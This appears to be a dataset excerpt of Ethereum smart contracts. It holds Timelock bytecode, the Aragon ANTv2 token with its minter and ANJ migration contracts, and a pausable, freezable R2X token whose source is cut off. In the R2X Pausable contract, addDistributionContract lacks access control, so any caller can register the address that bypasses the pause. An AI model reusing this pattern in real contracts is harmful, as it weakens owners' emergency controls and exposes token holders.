01935035915050600160201b81111561057257600080fd5b82018360208201111561058457600080fd5b803590602001918460018302840111600160201b831117156105a557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610ff4915050565b3480156105f457600080fd5b506104566112a1565b34801561060957600080fd5b506104566112a7565b34801561061e57600080fd5b506104566112ae565b34801561063357600080fd5b506104566112b5565b34801561064857600080fd5b506102d66004803603602081101561065f57600080fd5b50356112bc565b34801561067257600080fd5b506106906004803603602081101561068957600080fd5b50356113b1565b604080519115158252519081900360200190f35b3480156106b057600080fd5b506102ed6113c6565b6000546060906001600160a01b031633146107055760405162461bcd60e51b815260040180806020018281038252603881526020018061143b6038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561076b578181015183820152602001610753565b50505050905090810190601f1680156107985780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156107cb5781810151838201526020016107b3565b50505050905090810190601f1680156107f85780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600390935291205490995060ff16975061086996505050505050505760405162461bcd60e51b815260040180806020018281038252603d81526020018061158e603d913960400191505060405180910390fd5b826108726113d5565b10156108af5760405162461bcd60e51b81526004018080602001828103825260458152602001806114dd6045913960600191505060405180910390fd5b6108bc83621275006113d9565b6108c46113d5565b11156109015760405162461bcd60e51b81526004018080602001828103825260338152602001806114aa6033913960400191505060405180910390fd5b6000818152600360205260409020805460ff1916905584516060906109275750836109aa565b85805190602001208560405160200180836001600160e01b031916815260040182805190602001908083835b602083106109725780518252601f199092019160209182019101610953565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b602083106109e95780518252601f1990920191602091820191016109ca565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a4b576040519150601f19603f3d011682016040523d82523d6000602084013e610a50565b606091505b509150915081610a915760405162461bcd60e51b815260040180806020018281038252603d815260200180611671603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610b0e578181015183820152602001610af6565b50505050905090810190601f168015610b3b5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b6e578181015183820152602001610b56565b50505050905090810190601f168015610b9b5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610c025760405162461bcd60e51b81526004018080602001828103825260388152602001806115cb6038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610cae5760405162461bcd60e51b815260040180806020018281038252603681526020018061163b6036913960400191505060405180910390fd5b610cc2600254610cbc6113d5565b906113d9565b821015610d005760405162461bcd60e51b81526004018080602001828103825260498152602001806116ae6049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d66578181015183820152602001610d4e565b50505050905090810190601f168015610d935780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610dc6578181015183820152602001610dae565b50505050905090810190601f168015610df35780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610ebe578181015183820152602001610ea6565b50505050905090810190601f168015610eeb5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610f1e578181015183820152602001610f06565b50505050905090810190601f168015610f4b5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b333014610fa45760405162461bcd60e51b81526004018080602001828103825260388152602001806116036038913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b0316331461103d5760405162461bcd60e51b81526004018080602001828103825260378152602001806114736037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156110a357818101518382015260200161108b565b50505050905090810190601f1680156110d05780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156111035781810151838201526020016110eb565b50505050905090810190601f1680156111305780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156111fb5781810151838201526020016111e3565b50505050905090810190601f1680156112285780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561125b578181015183820152602001611243565b50505050905090810190601f1680156112885780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b6202a30081565b6212750081565b3330146112fa5760405162461bcd60e51b81526004018080602001828103825260318152602001806116f76031913960400191505060405180910390fd5b6202a30081101561133c5760405162461bcd60e51b81526004018080602001828103825260348152602001806115226034913960400191505060405180910390fd5b62278d0081111561137e5760405162461bcd60e51b81526004018080602001828103825260388152602001806115566038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b600082820183811015611433576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea2646970667358221220241c91d57c9edaac21997769eaf91826a9d1140d2ad70c34b68dedb9566c85f764736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,026 |
0xc02216cE9Fb7a5Fe22768744332D0B12aBa12a31
|
pragma solidity 0.5.17;
interface ApproveAndCallReceiver {
/**
* @dev This allows users to use their tokens to interact with contracts in one function call instead of two
* @param _from Address of the account transferring the tokens
* @param _amount The amount of tokens approved for in the transfer
* @param _token Address of the token contract calling this function
* @param _data Optional data that can be used to add signalling information in more complex staking applications
*/
function receiveApproval(address _from, uint256 _amount, address _token, bytes calldata _data) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
// A library for performing overflow-safe math, courtesy of DappHub: https://github.com/dapphub/ds-math/blob/d0ef6d6a5f/src/math.sol
// Modified to include only the essentials
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "MATH:ADD_OVERFLOW");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "MATH:SUB_UNDERFLOW");
}
}
// Lightweight token modelled after UNI-LP: https://github.com/Uniswap/uniswap-v2-core/blob/v1.0.1/contracts/UniswapV2ERC20.sol
// Adds:
// - An exposed `mint()` with minting role
// - An exposed `burn()`
// - ERC-3009 (`transferWithAuthorization()`)
contract ANTv2 is IERC20 {
using SafeMath for uint256;
// bytes32 private constant EIP712DOMAIN_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)")
bytes32 private constant EIP712DOMAIN_HASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
// bytes32 private constant NAME_HASH = keccak256("Aragon Network Token")
bytes32 private constant NAME_HASH = 0x711a8013284a3c0046af6c0d6ed33e8bbc2c7a11d615cf4fdc8b1ac753bda618;
// bytes32 private constant VERSION_HASH = keccak256("1")
bytes32 private constant VERSION_HASH = 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6;
// bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
// bytes32 public constant TRANSFER_WITH_AUTHORIZATION_TYPEHASH =
// keccak256("TransferWithAuthorization(address from,address to,uint256 value,uint256 validAfter,uint256 validBefore,bytes32 nonce)");
bytes32 public constant TRANSFER_WITH_AUTHORIZATION_TYPEHASH = 0x7c7c6cdb67a18743f49ec6fa9b35f50d52ed05cbed4cc592e13b44501c1a2267;
string public constant name = "Aragon Network Token";
string public constant symbol = "ANT";
uint8 public constant decimals = 18;
address public minter;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// ERC-2612, ERC-3009 state
mapping (address => uint256) public nonces;
mapping (address => mapping (bytes32 => bool)) public authorizationState;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event AuthorizationUsed(address indexed authorizer, bytes32 indexed nonce);
event ChangeMinter(address indexed minter);
modifier onlyMinter {
require(msg.sender == minter, "ANTV2:NOT_MINTER");
_;
}
constructor(address initialMinter) public {
_changeMinter(initialMinter);
}
function _validateSignedData(address signer, bytes32 encodeData, uint8 v, bytes32 r, bytes32 s) internal view {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
getDomainSeparator(),
encodeData
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
// Explicitly disallow authorizations for address(0) as ecrecover returns address(0) on malformed messages
require(recoveredAddress != address(0) && recoveredAddress == signer, "ANTV2:INVALID_SIGNATURE");
}
function _changeMinter(address newMinter) internal {
minter = newMinter;
emit ChangeMinter(newMinter);
}
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
// Balance is implicitly checked with SafeMath's underflow protection
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint256 value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint256 value) private {
require(to != address(this) && to != address(0), "ANTV2:RECEIVER_IS_TOKEN_OR_ZERO");
// Balance is implicitly checked with SafeMath's underflow protection
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function getChainId() public pure returns (uint256 chainId) {
assembly { chainId := chainid() }
}
function getDomainSeparator() public view returns (bytes32) {
return keccak256(
abi.encode(
EIP712DOMAIN_HASH,
NAME_HASH,
VERSION_HASH,
getChainId(),
address(this)
)
);
}
function mint(address to, uint256 value) external onlyMinter returns (bool) {
_mint(to, value);
return true;
}
function changeMinter(address newMinter) external onlyMinter {
_changeMinter(newMinter);
}
function burn(uint256 value) external returns (bool) {
_burn(msg.sender, value);
return true;
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
uint256 fromAllowance = allowance[from][msg.sender];
if (fromAllowance != uint256(-1)) {
// Allowance is implicitly checked with SafeMath's underflow protection
allowance[from][msg.sender] = fromAllowance.sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, "ANTV2:AUTH_EXPIRED");
bytes32 encodeData = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline));
_validateSignedData(owner, encodeData, v, r, s);
_approve(owner, spender, value);
}
function transferWithAuthorization(
address from,
address to,
uint256 value,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
require(block.timestamp > validAfter, "ANTV2:AUTH_NOT_YET_VALID");
require(block.timestamp < validBefore, "ANTV2:AUTH_EXPIRED");
require(!authorizationState[from][nonce], "ANTV2:AUTH_ALREADY_USED");
bytes32 encodeData = keccak256(abi.encode(TRANSFER_WITH_AUTHORIZATION_TYPEHASH, from, to, value, validAfter, validBefore, nonce));
_validateSignedData(from, encodeData, v, r, s);
authorizationState[from][nonce] = true;
emit AuthorizationUsed(from, nonce);
_transfer(from, to, value);
}
}
contract ANTv2MultiMinter {
string private constant ERROR_NOT_OWNER = "ANTV2_MM:NOT_OWNER";
string private constant ERROR_NOT_MINTER = "ANTV2_MM:NOT_MINTER";
address public owner;
ANTv2 public ant;
mapping (address => bool) public canMint;
event AddedMinter(address indexed minter);
event RemovedMinter(address indexed minter);
event ChangedOwner(address indexed newOwner);
modifier onlyOwner {
require(msg.sender == owner, ERROR_NOT_OWNER);
_;
}
modifier onlyMinter {
require(canMint[msg.sender] || msg.sender == owner, ERROR_NOT_MINTER);
_;
}
constructor(address _owner, ANTv2 _ant) public {
owner = _owner;
ant = _ant;
}
function mint(address to, uint256 value) external onlyMinter returns (bool) {
return ant.mint(to, value);
}
function addMinter(address minter) external onlyOwner {
canMint[minter] = true;
emit AddedMinter(minter);
}
function removeMinter(address minter) external onlyOwner {
canMint[minter] = false;
emit RemovedMinter(minter);
}
function changeMinter(address newMinter) onlyOwner external {
ant.changeMinter(newMinter);
}
function changeOwner(address newOwner) onlyOwner external {
_changeOwner(newOwner);
}
function _changeOwner(address newOwner) internal {
owner = newOwner;
emit ChangedOwner(newOwner);
}
}
contract ANJNoLockMinter is ApproveAndCallReceiver {
string private constant ERROR_WRONG_TOKEN = "ANJ_NO_LCK_MNTR:WRONG_TOKEN";
string private constant ERROR_ZERO_AMOUNT = "ANJ_NO_LCK_MNTR:ZERO_AMOUNT";
string private constant ERROR_TRANSFER_FAILED = "ANJ_NO_LCK_MNTR:TRANSFER_FAIL";
string private constant ERROR_MINT_FAILED = "ANJ_NO_LCK_MNTR:MINT_FAILED";
address private constant BURNED_ADDR = 0x000000000000000000000000000000000000dEaD;
// Exchange rate is 0.015 ANT per ANJ
uint256 private constant RATE = 15 * 10 ** 15;
uint256 private constant RATE_BASE = 10 ** 18;
ANTv2MultiMinter public minter;
ANTv2 public ant;
IERC20 public anj;
constructor(ANTv2MultiMinter _minter, ANTv2 _ant, IERC20 _anj) public {
minter = _minter;
ant = _ant;
anj = _anj;
}
function migrate(uint256 _amount) external {
_migrate(msg.sender, _amount);
}
function migrateAll() external {
uint256 amount = anj.balanceOf(msg.sender);
_migrate(msg.sender, amount);
}
function receiveApproval(address _from, uint256 _amount, address _token, bytes calldata /*_data*/) external {
require(_token == msg.sender && _token == address(anj), ERROR_WRONG_TOKEN);
uint256 fromBalance = anj.balanceOf(_from);
uint256 migrationAmount = _amount > fromBalance ? fromBalance : _amount;
_migrate(_from, migrationAmount);
}
function _migrate(address _from, uint256 _amount) private {
require(_amount > 0, ERROR_ZERO_AMOUNT);
// Burn ANJ
require(anj.transferFrom(_from, BURNED_ADDR, _amount), ERROR_TRANSFER_FAILED);
// Mint ANT
uint256 antAmount = _amount * RATE / RATE_BASE;
require(minter.mint(_from, antAmount), ERROR_MINT_FAILED);
}
}
|
0x608060405234801561001057600080fd5b50600436106100725760003560e01c80638b26cb3d116100505780638b26cb3d146100cf5780638f4ffcb1146100d757806398a835161461017357610072565b80630754617214610077578063454b0608146100a85780634a77f870146100c7575b600080fd5b61007f61017b565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6100c5600480360360208110156100be57600080fd5b5035610197565b005b6100c56101a4565b61007f61024d565b6100c5600480360360808110156100ed57600080fd5b73ffffffffffffffffffffffffffffffffffffffff823581169260208101359260408201359092169181019060808101606082013564010000000081111561013457600080fd5b82018360208201111561014657600080fd5b8035906020019184600183028401116401000000008311171561016857600080fd5b509092509050610269565b61007f61044d565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b6101a13382610469565b50565b600254604080517f70a08231000000000000000000000000000000000000000000000000000000008152336004820152905160009273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b15801561021557600080fd5b505afa158015610229573d6000803e3d6000fd5b505050506040513d602081101561023f57600080fd5b505190506101a13382610469565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff8316331480156102a8575060025473ffffffffffffffffffffffffffffffffffffffff8481169116145b6040518060400160405280601b81526020017f414e4a5f4e4f5f4c434b5f4d4e54523a57524f4e475f544f4b454e000000000081525090610381576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561034657818101518382015260200161032e565b50505050905090810190601f1680156103735780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600254604080517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8881166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156103f957600080fd5b505afa15801561040d573d6000803e3d6000fd5b505050506040513d602081101561042357600080fd5b5051905060008186116104365785610438565b815b90506104448782610469565b50505050505050565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60408051808201909152601b81527f414e4a5f4e4f5f4c434b5f4d4e54523a5a45524f5f414d4f554e540000000000602082015281610503576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181815283516024840152835190928392604490910191908501908083836000831561034657818101518382015260200161032e565b50600254604080517f23b872dd00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff858116600483015261dead602483015260448201859052915191909216916323b872dd9160648083019260209291908290030181600087803b15801561058857600080fd5b505af115801561059c573d6000803e3d6000fd5b505050506040513d60208110156105b257600080fd5b505160408051808201909152601d81527f414e4a5f4e4f5f4c434b5f4d4e54523a5452414e534645525f4641494c00000060208201529061064e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181815283516024840152835190928392604490910191908501908083836000831561034657818101518382015260200161032e565b5060008054604080517f40c10f1900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8681166004830152670de0b6b3a764000066354a6ba7a1800087020460248301819052925192949316926340c10f19926044808401936020939083900390910190829087803b1580156106e157600080fd5b505af11580156106f5573d6000803e3d6000fd5b505050506040513d602081101561070b57600080fd5b505160408051808201909152601b81527f414e4a5f4e4f5f4c434b5f4d4e54523a4d494e545f4641494c454400000000006020820152906107a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181815283516024840152835190928392604490910191908501908083836000831561034657818101518382015260200161032e565b5050505056fea265627a7a72315820a883fcf74a0dccd77d182a065a49969d248810042c2d3aa731c21308f7f99ce164736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 6,027 |
0x4d28ebe3c79b682b9870cf68b31bff4d8a133e91
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
address public distributionContract;
bool distributionContractAdded;
bool public paused = false;
/**
* @dev Add distribution smart contract address
*/
function addDistributionContract(address _contract) external {
require(_contract != address(0));
require(distributionContractAdded == false);
distributionContract = _contract;
distributionContractAdded = true;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
if(msg.sender != distributionContract) {
require(!paused);
}
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title FreezableToken
*/
contract FreezableToken is StandardToken, Ownable {
mapping (address => bool) public frozenAccounts;
event FrozenFunds(address target, bool frozen);
function freezeAccount(address target) public onlyOwner {
frozenAccounts[target] = true;
FrozenFunds(target, true);
}
function unFreezeAccount(address target) public onlyOwner {
frozenAccounts[target] = false;
FrozenFunds(target, false);
}
function frozen(address _target) constant public returns (bool){
return frozenAccounts[_target];
}
// @dev Limit token transfer if _sender is frozen.
modifier canTransfer(address _sender) {
require(!frozenAccounts[_sender]);
_;
}
function transfer(address _to, uint256 _value) public canTransfer(msg.sender) returns (bool success) {
// Call StandardToken.transfer()
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public canTransfer(_from) returns (bool success) {
// Call StandardToken.transferForm()
return super.transferFrom(_from, _to, _value);
}
}
contract R2Xtoken is FreezableToken, PausableToken, BurnableToken {
string public constant name = "R2X";
string public constant symbol = "RTX";
uint8 public constant decimals = 18;
